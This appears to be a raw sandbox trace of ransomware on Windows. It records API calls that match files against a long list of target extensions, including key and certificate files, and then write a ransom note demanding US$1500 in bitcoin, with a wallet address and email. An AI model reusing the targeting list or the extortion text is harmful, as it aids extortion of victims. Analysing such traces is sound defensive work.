(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0111.217] lstrlenA (lpString="*.msg") returned 5 [0111.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0111.217] lstrlenA (lpString="*.edb") returned 5 [0111.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0111.217] lstrlenA (lpString="*.accdb") returned 7 [0111.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0111.217] lstrlenA (lpString="*.odb") returned 5 [0111.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.java") returned 0 [0111.217] lstrlenA (lpString="*.java") returned 6 [0111.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0111.217] lstrlenA (lpString="*.asm") returned 5 [0111.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0111.217] lstrlenA (lpString="*.pfx") returned 5 [0111.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0111.217] lstrlenA (lpString="*.pem") returned 5 [0111.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0111.217] lstrlenA (lpString="*.p12") returned 5 [0111.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0111.218] lstrlenA (lpString="*.gpg") returned 5 [0111.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0111.218] lstrlenA (lpString="*.vsd") returned 5 [0111.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0111.218] lstrlenA (lpString="*.odg") returned 5 [0111.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0111.218] lstrlenA (lpString="*.raw") returned 5 [0111.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0111.218] lstrlenA (lpString="*.nef") returned 5 [0111.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0111.218] lstrlenA (lpString="*.svg") returned 5 [0111.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0111.218] lstrlenA (lpString="*.psd") returned 5 [0111.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0111.218] lstrlenA (lpString="*.vmx") returned 5 [0111.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0111.218] lstrlenA (lpString="*.vmdk") returned 6 [0111.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0111.218] lstrlenA (lpString="*.vdi") returned 5 [0111.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0111.218] lstrlenA (lpString="*.lay6") returned 6 [0111.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0111.219] lstrlenA (lpString="*.mpeg") returned 6 [0111.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0111.219] lstrlenA (lpString="*.djvu") returned 6 [0111.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0111.219] lstrlenA (lpString="*.tiff") returned 6 [0111.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0111.219] lstrlenA (lpString="*.backup") returned 8 [0111.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0111.219] lstrlenA (lpString="*.pdf") returned 5 [0111.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0111.219] lstrlenA (lpString="*.cert") returned 6 [0111.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0111.219] lstrlenA (lpString="*.docm") returned 6 [0111.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0111.219] lstrlenA (lpString="*.xlsm") returned 6 [0111.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0111.219] lstrlenA (lpString="*.dwg") returned 5 [0111.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0111.219] lstrlenA (lpString="*.nd") returned 4 [0111.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0111.219] lstrlenA (lpString="*.tlg") returned 5 [0111.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0111.220] lstrlenA (lpString="*.lgb") returned 5 [0111.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0111.220] lstrlenA (lpString="*.mov") returned 5 [0111.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0111.220] lstrlenA (lpString="*.xdw") returned 5 [0111.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0111.220] lstrlenA (lpString="*.ods") returned 5 [0111.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0111.220] lstrlenA (lpString="*.wav") returned 5 [0111.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0111.220] lstrlenA (lpString="*.mp3") returned 5 [0111.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0111.220] lstrlenA (lpString="*.aiff") returned 6 [0111.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0111.220] lstrlenA (lpString="*.flac") returned 6 [0111.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0111.220] lstrlenA (lpString="*.m4a") returned 5 [0111.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0111.220] lstrlenA (lpString="*.csv") returned 5 [0111.220] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60a45700, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x60a45700, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x60a6b860, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0111.221] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.221] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x732eccc0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x732eccc0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x732eccc0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="d67f3850760979cd607ec8f5259fb9a9", cAlternateFileName="D67F38~1")) returned 1 [0111.221] lstrcmpA (lpString1=".", lpString2="d67f3850760979cd607ec8f5259fb9a9") returned -1 [0111.221] lstrcmpA (lpString1="..", lpString2="d67f3850760979cd607ec8f5259fb9a9") returned -1 [0111.221] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0111.221] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="d67f3850760979cd607ec8f5259fb9a9" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9" [0111.221] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9") returned 100 [0111.221] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x732eccc0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x732eccc0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x732eccc0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.221] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.221] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x732eccc0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x732eccc0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x732eccc0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.221] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.222] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.222] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x732c6b60, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x732c6b60, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x732c6b60, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x37400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0111.222] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.222] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll") returned -1 [0111.222] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll") returned -1 [0111.222] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll") returned -1 [0111.222] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\*.*") returned="*.*" [0111.222] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\" [0111.222] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\") returned="" [0111.222] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\HOW TO DECRYPT FILES.txt" [0111.222] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\d67f3850760979cd607ec8f5259fb9a9\\how to decrypt files.txt")) returned 0xffffffff [0111.222] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\d67f3850760979cd607ec8f5259fb9a9\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.233] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.233] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.234] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.234] CloseHandle (hObject=0x90) returned 1 [0111.234] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\", lpString2="Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll" [0111.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0111.235] lstrlenA (lpString="*.ems") returned 5 [0111.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.db") returned 0 [0111.235] lstrlenA (lpString="*.db") returned 4 [0111.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0111.235] lstrlenA (lpString="*.dbf") returned 5 [0111.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0111.235] lstrlenA (lpString="*.myox") returned 6 [0111.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0111.235] lstrlenA (lpString="*.myo") returned 5 [0111.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0111.235] lstrlenA (lpString="*.qbw") returned 5 [0111.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0111.235] lstrlenA (lpString="*.qbb") returned 5 [0111.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0111.235] lstrlenA (lpString="*.qbm") returned 5 [0111.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0111.235] lstrlenA (lpString="*.qbo") returned 5 [0111.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0111.235] lstrlenA (lpString="*.qbx") returned 5 [0111.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0111.235] lstrlenA (lpString="*.qba") returned 5 [0111.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0111.235] lstrlenA (lpString="*.qby") returned 5 [0111.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0111.236] lstrlenA (lpString="*.qbj") returned 5 [0111.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0111.236] lstrlenA (lpString="*.ofx") returned 5 [0111.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0111.236] lstrlenA (lpString="*.qif") returned 5 [0111.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0111.236] lstrlenA (lpString="*.mye") returned 5 [0111.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0111.236] lstrlenA (lpString="*.mbox") returned 6 [0111.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0111.236] lstrlenA (lpString="*.eml") returned 5 [0111.236] PathMatchSpecA 